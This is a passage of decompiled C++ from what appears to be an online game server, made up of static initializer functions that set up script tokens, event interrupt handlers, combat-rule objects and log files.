atexit(_E60_4); } //----- (00628DD0) -------------------------------------------------------- int __cdecl _E62_0() { PineScriptToken::PineScriptToken(&index_guildliminate, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[8]); return atexit(_E63_4); } //----- (00628DF0) -------------------------------------------------------- int __cdecl _E65_0() { PineScriptToken::PineScriptToken( &index_timeout, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[8].mts_LastHit); return atexit(_E66_3); } //----- (00628E10) -------------------------------------------------------- int __cdecl _E68_0() { PineScriptToken::PineScriptToken( &index_deadhandle, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[8].mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E69_3); } //----- (00628E30) -------------------------------------------------------- int __cdecl _E71_0() { PineScriptToken::PineScriptToken( &index_deadindex, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[9].mts_CharRegnum); return atexit(_E72_2); } //----- (00628E50) -------------------------------------------------------- int __cdecl _E74() { PineScriptToken::PineScriptToken( &index_killenemy, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[9].mts_LastHit); return atexit(_E75_2); } //----- (00628E70) -------------------------------------------------------- int __cdecl _E77() { PineScriptToken::PineScriptToken( &index_targetchange, (char *)&stru_6569C0.maa_TargetSelect.targetlist.mam_Array[9].mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E78_1); } //----- (00628E90) -------------------------------------------------------- #error "628E90: undefined or illegal type '#593' (funcsize=7)" //----- (00628EB0) -------------------------------------------------------- int __cdecl _E83() { PineScriptToken::PineScriptToken(&index_admin, (char *)&stru_6569C0.maa_TargetSelect.aggresive); return atexit(_E84_1); } //----- (00628ED0) -------------------------------------------------------- int __cdecl _E86() { PineScriptToken::PineScriptToken( &index_on, (char *)&stru_6569C0.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_Current.distsquar); return atexit(_E87_1); } //----- (00628EF0) -------------------------------------------------------- #error "628EF0: undefined or illegal type '#593' (funcsize=7)" //----- (00628F10) -------------------------------------------------------- int __cdecl _E92() { PineScriptToken::PineScriptToken( &index_logout, (char *)&stru_6569C0.maa_TargetSelect.aggresive.baseclass_0.baseclass_0.mts_SightRange); return atexit(_E93_1); } //----- (00628F30) -------------------------------------------------------- int __cdecl _E95() { PineScriptToken::PineScriptToken(&index_anywhere, (char *)&stru_6569C0.maa_TargetSelect.aggresive.mta_InstanceTarget); return atexit(_E96_0); } //----- (00628F50) -------------------------------------------------------- int __cdecl _E98() { PineScriptToken::PineScriptToken( &index_handle, (char *)&stru_6569C0.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_AggroPoint); return atexit(_E99_0); } //----- (00628F70) -------------------------------------------------------- int __cdecl _E101() { PineScriptToken::PineScriptToken( &index_guild, (char *)&stru_6569C0.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer); return atexit(_E102_0); } //----- (00628F90) -------------------------------------------------------- int __cdecl _E104() { PineScriptToken::PineScriptToken( &index_recover, (char *)&stru_6569C0.maa_TargetSelect.aggresive.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer.mask); return atexit(_E105_0); } //----- (00628FB0) -------------------------------------------------------- int __cdecl _E107() { PineScriptToken::PineScriptToken( &index_noaggro, (char *)&stru_6569C0.maa_TargetSelect.nobrain.baseclass_0.baseclass_0.mts_Current); return atexit(_E108_0); } //----- (00628FD0) -------------------------------------------------------- #error "628FD0: undefined or illegal type '#593' (funcsize=7)" //----- (00628FF0) -------------------------------------------------------- int __cdecl _E113() { PineScriptToken::PineScriptToken( &index_hit, (char *)&stru_6569C0.maa_TargetSelect.nobrain.baseclass_0.baseclass_0.mts_SightRange); return atexit(_E114_0); } //----- (00629010) -------------------------------------------------------- int __cdecl _E116() { PineScriptToken::PineScriptToken( &index_observer, (char *)&stru_6569C0.maa_TargetSelect.nobrain.baseclass_0.mtb_targetlist); return atexit(_E117_0); } //----- (00629030) -------------------------------------------------------- int __cdecl _E119() { PineScriptToken::PineScriptToken( &index_GuildTournamentStart, (char *)&stru_6569C0.maa_TargetSelect.aggresive2.baseclass_0.baseclass_0.baseclass_0.mts_Current.distsquar); return atexit(_E120_0); } //----- (00629050) -------------------------------------------------------- #error "629050: undefined or illegal type '#593' (funcsize=7)" //----- (00629070) -------------------------------------------------------- int __cdecl _E125() { PineScriptToken::PineScriptToken( &index_hpfull, (char *)&stru_6569C0.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_LastHit); return atexit(_E126_0); } //----- (00629090) -------------------------------------------------------- int __cdecl _E128() { PineScriptToken::PineScriptToken( &index_beggar, (char *)&stru_6569C0.maa_TargetSelect.aggresive2.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); return atexit(_E129_0); } //----- (006290B0) -------------------------------------------------------- int __cdecl _E131() { PineScriptToken::PineScriptToken(&index_allwithout, (char *)&stru_6569C0.maa_TargetSelect.aggresiveall); return atexit(_E132_0); } //----- (006290D0) -------------------------------------------------------- int __cdecl _E134() { PineScriptToken::PineScriptToken( &index_CostumeHeadAcc, (char *)&stru_6569C0.maa_TargetSelect.aggresiveall.baseclass_0.baseclass_0.mtb_targetlist); return atexit(_E135_0); } //----- (006290F0) -------------------------------------------------------- int __cdecl _E137() { PineScriptToken::PineScriptToken( &index_CostumeBodyAcc, (char *)&stru_6569C0.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_CharRegnum); return atexit(_E138_0); } //----- (00629110) -------------------------------------------------------- int __cdecl _E140() { PineScriptToken::PineScriptToken( &index_split, (char *)&stru_6569C0.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_AggroPoint); return atexit(_E141_0); } //----- (00629130) -------------------------------------------------------- int __cdecl _E143() { PineScriptToken::PineScriptToken( &index_pickupitemindex, (char *)&stru_6569C0.maa_TargetSelect.aggresiveall.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer); return atexit(_E144_0); } //----- (00629150) -------------------------------------------------------- int __cdecl _E146() { PineScriptToken::PineScriptToken( &index_dicegameend, (char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.baseclass_0.baseclass_0.mts_Current); return atexit(_E147_0); } //----- (00629170) -------------------------------------------------------- int __cdecl _E149() { PineScriptToken::PineScriptToken( &index_mobindex, (char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.baseclass_0.baseclass_0.mts_SightRange); return atexit(_E150_0); } //----- (00629190) -------------------------------------------------------- int __cdecl _E152() { PineScriptToken::PineScriptToken( &index_hpupper, (char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_CharRegnum); return atexit(_E153_0); } //----- (006291B0) -------------------------------------------------------- int __cdecl _E155() { PineScriptToken::PineScriptToken( &index_rewardmid, (char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_AggroPoint); return atexit(_E156_0); } //----- (006291D0) -------------------------------------------------------- int __cdecl _E158() { PineScriptToken::PineScriptToken( &index_OnLine, (char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_LastHit); return atexit(_E159_0); } //----- (006291F0) -------------------------------------------------------- void __cdecl _E161() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&RegisterGTPortalAutoReg, v0); } //----- (00629210) -------------------------------------------------------- void __cdecl _E163() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&SaveLinktoAutoReg, v0); } //----- (00629230) -------------------------------------------------------- void __cdecl _E165() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&ClearSaveLinktoAutoReg, v0); } //----- (00629250) -------------------------------------------------------- void __cdecl _E167() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&ID_FailAutoReg, v0); } //----- (00629270) -------------------------------------------------------- void __cdecl _E169() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&SendMapInMobInfoAutoReg, v0); } //----- (00629290) -------------------------------------------------------- void __cdecl _E171() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&NPCChatNoFacecutAutoReg, v0); } //----- (006292B0) -------------------------------------------------------- void __cdecl _E173() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&ScinarioCodePartyAutoReg, v0); } //----- (006292D0) -------------------------------------------------------- void __cdecl _E175() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&HasAbstateAutoReg, v0); } //----- (006292F0) -------------------------------------------------------- void __cdecl _E177() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(&BroadcastCodeAutoReg, v0); } //----- (00629310) -------------------------------------------------------- void __cdecl _E179() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::sb_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(>RegisterNPCAutoReg, v0); } //----- (00629330) -------------------------------------------------------- void __cdecl _E181() { PineEventScriptNode::StatementBase *v0; // eax@1 v0 = PineEventScriptNode::ScriptBase::g_CloneMe(); PineEventScriptNode::AutoRegList::AutoRegList(>MobRegenKeyAutoReg, v0); } //----- (00629350) -------------------------------------------------------- int __cdecl _E183() { return atexit(_E184); } //----- (00629360) -------------------------------------------------------- int __cdecl _E186() { char *v0; // eax@1 char v1; // cl@2 v0 = (char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer; do { v1 = *v0; v0[(char *)&ScinarioCodeLog - (char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer] = *v0; ++v0; } while ( v1 ); ScinarioCodeLog.dl_FilePointer = 0; EraseOldLogList((char *)&stru_6569C0.maa_TargetSelect.hasDisposition.baseclass_0.mta_InstanceTarget.mts_EnemyAnalyzer.baseclass_0.io_Pointer); ScinarioCodeLog.dl_Activ = 1; return atexit(_E187); } //----- (006293B0) -------------------------------------------------------- int __cdecl _E189() { PineScriptTemporaryString::PineScriptTemporaryString(&g_PineScriptTemporaryString); return atexit(_E190); } //----- (006293D0) -------------------------------------------------------- int __cdecl _E5_29() { return atexit(_E6_51); } //----- (006293E0) -------------------------------------------------------- int __cdecl _E8_22() { return atexit(_E9_34); } //----- (006293F0) -------------------------------------------------------- int __cdecl _E1_21() { RecallPointTable::RecallPointTable((ShineScript *)&recallpoint); return atexit(_E2_21); } //----- (00629410) -------------------------------------------------------- int __cdecl _E5_30() { return atexit(_E6_52); } //----- (00629420) -------------------------------------------------------- int __cdecl _E8_23() { EngSklAtt::EngSklAtt(&engsklatt); return atexit(_E9_35); } //----- (00629440) -------------------------------------------------------- int __cdecl _E11_13() { RulesOfEngagementNormalPY::RulesOfEngagementNormalPY((RulesOfEngagementNormalPY *)&roe_normalPY); return atexit(_E12_29); } //----- (00629460) -------------------------------------------------------- int __cdecl _E14_8() { RulesOfEngagementNormalMA::RulesOfEngagementNormalMA((RulesOfEngagementNormalMA *)&roe_normalMA); return atexit(_E15_14); } //----- (00629480) -------------------------------------------------------- int __cdecl _E17_6() { RulesOfEngagementPhisycalSkill::RulesOfEngagementPhisycalSkill(&roe_physical); return atexit(_E18_17); } //----- (006294A0) -------------------------------------------------------- int __cdecl _E20_4() { RulesOfEngagementMagicalSkill::RulesOfEngagementMagicalSkill(&roe_magical); return atexit(_E21_10); } //----- (006294C0) -------------------------------------------------------- int __cdecl _E23_3() { RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(&roe_cure); return atexit(_E24_11); } //----- (006294E0) -------------------------------------------------------- int __cdecl _E26_2() { RulesOfEngagementAlwaysHit::RulesOfEngagementAlwaysHit(&roe_always); return atexit(_E27_8); } //----- (00629500) -------------------------------------------------------- int __cdecl _E29_1() { RulesOfEngagementAlwaysCritical::RulesOfEngagementAlwaysCritical(&roe_alwaysCritical); return atexit(_E30_8); } //----- (00629520) -------------------------------------------------------- int __cdecl _E32_1() { RuleOfEngagementHealAttack::RuleOfEngagementHealAttack(&roe_alwaysHealAttack); return atexit(_E33_6); } //----- (00629540) -------------------------------------------------------- int __cdecl _E35_1() { RuleOfEngagementHealPower::RuleOfEngagementHealPower((RuleOfEngagementHealPower *)&roe_alwaysHealPower); return atexit(_E36_5); } //----- (00629560) -------------------------------------------------------- int __cdecl _E38_1() { unsigned int v0; // eax@1 long double v1; // st7@2 signed int v3; // [sp+0h] [bp-4h]@1 v0 = 0; v3 = 0; do { v1 = (double)v3; ++v0; v3 = v0; *((long double *)&roe_magical.baseclass_0.baseclass_0.vfptr + v0) = sqrt(v1); } while ( v0 < 0x1F4 ); return atexit(_E39_5); } //----- (00629590) -------------------------------------------------------- int __cdecl _E5_31() { ScenarioBookShelf::ScenarioBookShelf(&scenarioshelf); return atexit(_E6_53); } //----- (006295B0) -------------------------------------------------------- int __cdecl _E3_21() { ScriptInterrupt::ScriptInterruptAreaEntry::ScriptInterruptAreaEntry((ScriptInterrupt::ScriptInterruptAreaEntry *)&si_AreaEntry); return atexit(_E4_40); } //----- (006295D0) -------------------------------------------------------- int __cdecl _E6_5() { ScriptInterrupt::ScriptInterruptAreaLeave::ScriptInterruptAreaLeave((ScriptInterrupt::ScriptInterruptAreaLeave *)&si_AreaLeave); return atexit(_E7_16); } //----- (006295F0) -------------------------------------------------------- int __cdecl _E9_3() { ScriptInterrupt::ScriptInterruptNPCClickHandle::ScriptInterruptNPCClickHandle((ScriptInterrupt::ScriptInterruptNPCClickHandle *)&si_NPCClickHandle); return atexit(_E10_12); } //----- (00629610) -------------------------------------------------------- int __cdecl _E12_3() { ScriptInterrupt::ScriptInterruptNPCClickIndex::ScriptInterruptNPCClickIndex((ScriptInterrupt::ScriptInterruptNPCClickIndex *)&si_NPCClickIndex); return atexit(_E13_7); } //----- (00629630) -------------------------------------------------------- int __cdecl _E15_1() { ScriptInterrupt::ScriptInterruptNPCClickAny::ScriptInterruptNPCClickAny((ScriptInterrupt::ScriptInterruptNPCClickAny *)&si_NPCClickAny); return atexit(_E16_9); } //----- (00629650) -------------------------------------------------------- int __cdecl _E18_1() { ScriptInterrupt::ScriptInterruptObjectDeadHandle::ScriptInterruptObjectDeadHandle((ScriptInterrupt::ScriptInterruptObjectDeadHandle *)&si_ObjectDeadHandle); return atexit(_E19_4); } //----- (00629670) -------------------------------------------------------- int __cdecl _E21_1() { ScriptInterrupt::ScriptInterruptObjectDeadIndex::ScriptInterruptObjectDeadIndex((ScriptInterrupt::ScriptInterruptObjectDeadIndex *)&si_ObjectDeadIndex); return atexit(_E22_4); } //----- (00629690) -------------------------------------------------------- int __cdecl _E24_2() { ScriptInterrupt::ScriptInterruptMobEleminate::ScriptInterruptMobEleminate((ScriptInterrupt::ScriptInterruptMobEleminate *)&si_MobEliminate); return atexit(_E25_3); } //----- (006296B0) -------------------------------------------------------- int __cdecl _E27_1() { ScriptInterrupt::ScriptInterruptPlayerEleminate::ScriptInterruptPlayerEleminate((ScriptInterrupt::ScriptInterruptPlayerEleminate *)&si_PlayerEliminate); return atexit(_E28_3); } //----- (006296D0) -------------------------------------------------------- int __cdecl _E30_1() { ScriptInterrupt::ScriptInterruptGuildEleminate::ScriptInterruptGuildEleminate((ScriptInterrupt::ScriptInterruptGuildEleminate *)&si_GuildEliminate); return atexit(_E31_2); } //----- (006296F0) -------------------------------------------------------- int __cdecl _E33_1() { ScriptInterrupt::ScriptInterruptInterval::ScriptInterruptInterval((ScriptInterrupt::ScriptInterruptInterval *)&si_Interval); return atexit(_E34_3); } //----- (00629710) -------------------------------------------------------- int __cdecl _E36_1() { ScriptInterrupt::ScriptInterruptHPLow::ScriptInterruptHPLow((ScriptInterrupt::ScriptInterruptHPLow *)&si_HPLow); return atexit(_E37_2); } //----- (00629730) -------------------------------------------------------- int __cdecl _E39_1() { ScriptInterrupt::ScriptInterruptTimeOut::ScriptInterruptTimeOut((ScriptInterrupt::ScriptInterruptTimeOut *)&si_TimeOut); return atexit(_E40_2); } //----- (00629750) -------------------------------------------------------- int __cdecl _E42_0() { ScriptInterrupt::ScriptInterruptKillEnemy::ScriptInterruptKillEnemy((ScriptInterrupt::ScriptInterruptKillEnemy *)&si_KillEnemy); return atexit(_E43_2); } //----- (00629770) -------------------------------------------------------- int __cdecl _E45_0() { ScriptInterrupt::ScriptInterruptTargetChange::ScriptInterruptTargetChange((ScriptInterrupt::ScriptInterruptTargetChange *)&si_TargetChange); return atexit(_E46_1); } //----- (00629790) -------------------------------------------------------- int __cdecl _E48_0() { ScriptInterrupt::ScriptInterruptPlayerDead::ScriptInterruptPlayerDead((ScriptInterrupt::ScriptInterruptPlayerDead *)&si_PlayerDead); return atexit(_E49_2); } //----- (006297B0) -------------------------------------------------------- int __cdecl _E51_0() { ScriptInterrupt::ScriptInterruptPickUpItemIndex::ScriptInterruptPickUpItemIndex((ScriptInterrupt::ScriptInterruptPickUpItemIndex *)&si_PickUpItemIndex); return atexit(_E52_1); } //----- (006297D0) -------------------------------------------------------- int __cdecl _E54_0() { ScriptInterrupt::ScriptInterruptAdmin::ScriptInterruptAdmin((ScriptInterrupt::ScriptInterruptAdmin *)&si_Admin); return atexit(_E55_0); } //----- (006297F0) -------------------------------------------------------- int __cdecl _E57_0() { ScriptInterrupt::ScriptInterruptHPFull::ScriptInterruptHPFull((ScriptInterrupt::ScriptInterruptHPFull *)&si_HPFull); return atexit(_E58_0); } //----- (00629810) -------------------------------------------------------- int __cdecl _E60_0() { ScriptInterrupt::ScriptInterruptHPUpper::ScriptInterruptHPUpper((ScriptInterrupt::ScriptInterruptHPUpper *)&si_HPUpper); return atexit(_E61_0); } //----- (00629830) -------------------------------------------------------- void __cdecl _E63_0() { ScriptInterrupt::ScriptInterruptUnitBase *v0; // eax@1 v0 = (ScriptInterrupt::ScriptInterruptUnitBase *)ScriptInterrupt::ScriptInterruptUnit::GetInstance(); ScriptInterrupt::ScriptInterruptAdder::ScriptInterruptAdder(&ScriptInterrupt::testInter, v0); } //----- (00629850) -------------------------------------------------------- int __cdecl _E5_32() { return atexit(_E6_54); } //----- (00629860) -------------------------------------------------------- int __cdecl _E8_24() { return atexit(_E9_36); } //----- (00629870) -------------------------------------------------------- int __cdecl _E3_22() { SetItemData::SetItemClassifier::SetItemClassifier(&setitemclassifier); return atexit(_E4_41); } //----- (00629890) -------------------------------------------------------- int __cdecl _E6_6() { SetItemData::SetItemEffectList::SetItemEffectList(&setitemeffectlist); return atexit(_E7_17); } //----- (006298B0) -------------------------------------------------------- int __cdecl _E9_4() { return atexit(_E10_13); } //----- (006298C0) -------------------------------------------------------- int __cdecl _E12_4() { MemoryQueue::MemoryQueue(&setitemskilleffectqueue); return atexit(_E13_8); } //----- (006298E0) -------------------------------------------------------- int __cdecl _E7_3() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"InvenStatusLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&InvenStatusLog - "InvenStatusLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); InvenStatusLog.dl_FilePointer = 0; EraseOldLogList("InvenStatusLog"); InvenStatusLog.dl_Activ = 1; return atexit(_E8_41); } //----- (00629930) -------------------------------------------------------- int __cdecl _E5_33() { return atexit(_E6_60); } //----- (00629940) -------------------------------------------------------- int __cdecl _E5_34() { return atexit(_E6_62); } //----- (00629950) -------------------------------------------------------- int __cdecl _E7_4() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ItemMSLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ItemMSLog - "ItemMSLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ItemMSLog.dl_FilePointer = 0; EraseOldLogList("ItemMSLog"); ItemMSLog.dl_Activ = 1; return atexit(_E8_43); } //----- (006299A0) -------------------------------------------------------- int __cdecl _E10_1() { MemoryQueue::MemoryQueue(&queue_roar); return atexit(_E11_24); } //----- (006299C0) -------------------------------------------------------- int __cdecl _E5_35() { NameString::NameString(&namestring); return atexit(_E6_69); } //----- (006299E0) -------------------------------------------------------- int __cdecl _E8_25() { AllOfRangeArgument::AllOfRangeArgument(&allofrangearg); return atexit(_E9_38); } //----- (00629A00) -------------------------------------------------------- int __cdecl _E11_14() { return atexit(_E12_30); } //----- (00629A10) -------------------------------------------------------- int __cdecl _E14_9() { Parameter::Container::Container((int)&ShineObjectClass::ShineObject::so_defaultparam); return atexit(_E15_17); } //----- (00629A30) -------------------------------------------------------- int __cdecl _E17_7() { SpyNet::EspionageAgent::EspionageAgent(&ShineObjectClass::ShineObject::so_spy); return atexit(_E18_18); } //----- (00629A50) -------------------------------------------------------- int __cdecl _E20_5() { return atexit(_E21_11); } //----- (00629A60) -------------------------------------------------------- int __cdecl _E23_4() { AbnormalStateContainer::AbstateListInObject::AbstateListInObject(&ShineObjectClass::ShineObject::so_defabstatelist); return atexit(_E24_12); } //----- (00629A80) -------------------------------------------------------- int __cdecl _E26_3() { ItemOperateList::ItemOperateList((int)&ShineObjectClass::ShineObject::so_defitemoperate); return atexit(_E27_9); } //----- (00629AA0) -------------------------------------------------------- int __cdecl _E29_2() { InventoryLocking::InventoryCellLock::InventoryCellLock(&ShineObjectClass::ShineObject::so_definvlocklist); return atexit(_E30_9); } //----- (00629AC0) -------------------------------------------------------- int __cdecl _E32_2() { CharacterInventory::CharacterInventory(&ShineObjectClass::ShineObject::so_defiteminven); return atexit(_E33_7); } //----- (00629AE0) -------------------------------------------------------- int __cdecl _E35_2() { AllOfRangeArgument::AllOfRangeArgument(&ShineObjectClass::ShineObject::so_deftradebrd); return atexit(_E36_6); } //----- (00629B00) -------------------------------------------------------- int __cdecl _E38_2() { CCharacterTitleZone::CCharacterTitleZone(&ShineObjectClass::ShineObject::so_DefCharTitle, &gCharacterTitleData); return atexit(_E39_6); } //----- (00629B20) -------------------------------------------------------- int __cdecl _E41_1() { MoveManager::MoveManager(&ShineObjectClass::ShineObject::so_PacketEncrypt); return atexit(_E42_4); } //----- (00629B40) -------------------------------------------------------- int __cdecl _E44_1() { PROTO_NC_CHAR_WEDDINGDATA_ACK::PROTO_NC_CHAR_WEDDINGDATA_ACK(&ShineObjectClass::ShineObject::so_WeddingData); return atexit(_E45_5); } //----- (00629B60) -------------------------------------------------------- int __cdecl _E47_1() { ItemLotInspector::ItemLotInspector(&ShineObjectClass::ShineObject::so_ItemLotInspector); return atexit(_E48_5); } //----- (00629B80) -------------------------------------------------------- void __cdecl _E50_1() { NPCAction::doTriggers_::doTriggers_(&ShineObjectClass::ShineObject::m_RTTI, "ShineObjectClass::ShineObject", 0); } //----- (00629BA0) -------------------------------------------------------- int __cdecl _E54_1() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"BroadCastLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&BroadCastLog - "BroadCastLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); BroadCastLog.dl_FilePointer = 0; EraseOldLogList("BroadCastLog"); BroadCastLog.dl_Activ = 1; return atexit(_E55_1); } //----- (00629BF0) -------------------------------------------------------- int __cdecl _E57_1() { TargetAnalyser::TargetAnalyser((TargetAnalyser *)&ShineObjectClass::ShineMobileObject::TA::tmp); return atexit(_E58_1); } //----- (00629C10) -------------------------------------------------------- int __cdecl _E60_1() { StreetBooth::StreetBooth(&ShineObjectClass::ShinePlayer::BoothSell::board); return atexit(_E61_1); } //----- (00629C30) -------------------------------------------------------- int __cdecl _E63_1() { ClientSessionNull::ClientSessionNull(&ShineObjectClass::ShinePlayer::sp_defaultsocket); return atexit(_E64_0); } //----- (00629C50) -------------------------------------------------------- int __cdecl _E66_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"InvalidProtocolLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&InvalidProtocolLog - "InvalidProtocolLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); InvalidProtocolLog.dl_FilePointer = 0; EraseOldLogList("InvalidProtocolLog"); InvalidProtocolLog.dl_Activ = 1; return atexit(_E67_0); } //----- (00629CA0) -------------------------------------------------------- void __cdecl _E69_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineNPC::m_RTTI, "ShineObjectClass::ShineNPC", &ShineObjectClass::ShineMob::m_RTTI); } //----- (00629CC0) -------------------------------------------------------- void __cdecl _E71_1() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineDoor::m_RTTI, "ShineObjectClass::ShineDoor", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (00629CE0) -------------------------------------------------------- void __cdecl _E73() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMagicField::m_RTTI, "ShineObjectClass::ShineMagicField", &ShineObjectClass::ShineObject::m_RTTI); } //----- (00629D00) -------------------------------------------------------- void __cdecl _E75_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMiniHouse::m_RTTI, "ShineObjectClass::ShineMiniHouse", &ShineObjectClass::ShineObject::m_RTTI); } //----- (00629D20) -------------------------------------------------------- void __cdecl _E77_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMob::m_RTTI, "ShineObjectClass::ShineMob", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (00629D40) -------------------------------------------------------- void __cdecl _E79() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineBandit::m_RTTI, "ShineObjectClass::ShineBandit", &ShineObjectClass::ShineMob::m_RTTI); } //----- (00629D60) -------------------------------------------------------- void __cdecl _E81_0() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineServant::m_RTTI, "ShineObjectClass::ShineServant", &ShineObjectClass::ShineMob::m_RTTI); } //----- (00629D80) -------------------------------------------------------- int __cdecl _E85() { ShineObjectManager::ShineObjectManager(&shineobjmanager); return atexit(_E86_2); } //----- (00629DA0) -------------------------------------------------------- int __cdecl _E94() { MemoryQueue::MemoryQueue(&queue_linkreserv); return atexit(_E95_2); } //----- (00629DC0) -------------------------------------------------------- int __cdecl _E101_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"CoordRepairLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&CoordRepairLog - "CoordRepairLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); CoordRepairLog.dl_FilePointer = 0; EraseOldLogList("CoordRepairLog"); CoordRepairLog.dl_Activ = 1; return atexit(_E102_1); } //----- (00629E10) -------------------------------------------------------- int __cdecl _E104_0() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"EldLocateLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&EldLocateLog - "EldLocateLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); EldLocateLog.dl_FilePointer = 0; EraseOldLogList("EldLocateLog"); EldLocateLog.dl_Activ = 1; return atexit(_E105_1); } //----- (00629E60) -------------------------------------------------------- void __cdecl _E3_23() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShineMobileObject::m_RTTI, "ShineObjectClass::ShineMobileObject", &ShineObjectClass::ShineObject::m_RTTI); } //----- (00629E80) -------------------------------------------------------- void __cdecl _E5_36() { NPCAction::doTriggers_::doTriggers_( &ShineObjectClass::ShinePlayer::m_RTTI, "ShinePlayer", &ShineObjectClass::ShineMobileObject::m_RTTI); } //----- (00629EA0) -------------------------------------------------------- int __cdecl _E7_5() { int v0; // eax@1 char v1; // cl@2 v0 = (int)"ReinforceMoveLog"; do { v1 = *(_BYTE *)v0; *(_BYTE *)((char *)&ReinforceMoveLog - "ReinforceMoveLog" + v0) = *(_BYTE *)v0; ++v0; } while ( v1 ); ReinforceMoveLog.dl_FilePointer = 0; EraseOldLogList("ReinforceMoveLog"); ReinforceMoveLog.dl_Activ = 1; return atexit(_E8_45); } //----- (00629EF0) -------------------------------------------------------- int __cdecl _E5_37() { MemoryQueue::MemoryQueue(&queue_MH_InnerInfo); return atexit(_E6_71); } //----- (00629F10) -------------------------------------------------------- int __cdecl _E1_22() { ShineRadian::ShineRadian(&shineradian); return atexit(_E2_22); } //----- (00629F30) -------------------------------------------------------- int __cdecl _E21_2() { AxialListNearScanSkillEnemy::AxialListNearScanSkillEnemy((AxialListNearScanSkillEnemy *)&alnse); return atexit(_E22_5); } //----- (00629F50) -------------------------------------------------------- int __cdecl _E24_3() { AxialListNearScanSkillFriend::AxialListNearScanSkillFriend(&alnsf); return atexit(_E25_5); } //----- (00629F70) -------------------------------------------------------- int __cdecl _E27_2() { AxialListNearScanSkillParty::AxialListNearScanSkillParty(&alnsp); return atexit(_E28_4); } //----- (00629F90) -------------------------------------------------------- int __cdecl _E30_2() { FanFormSectorArgument::FanFormSectorArgument(&ffsa); return atexit(_E31_3); } //----- 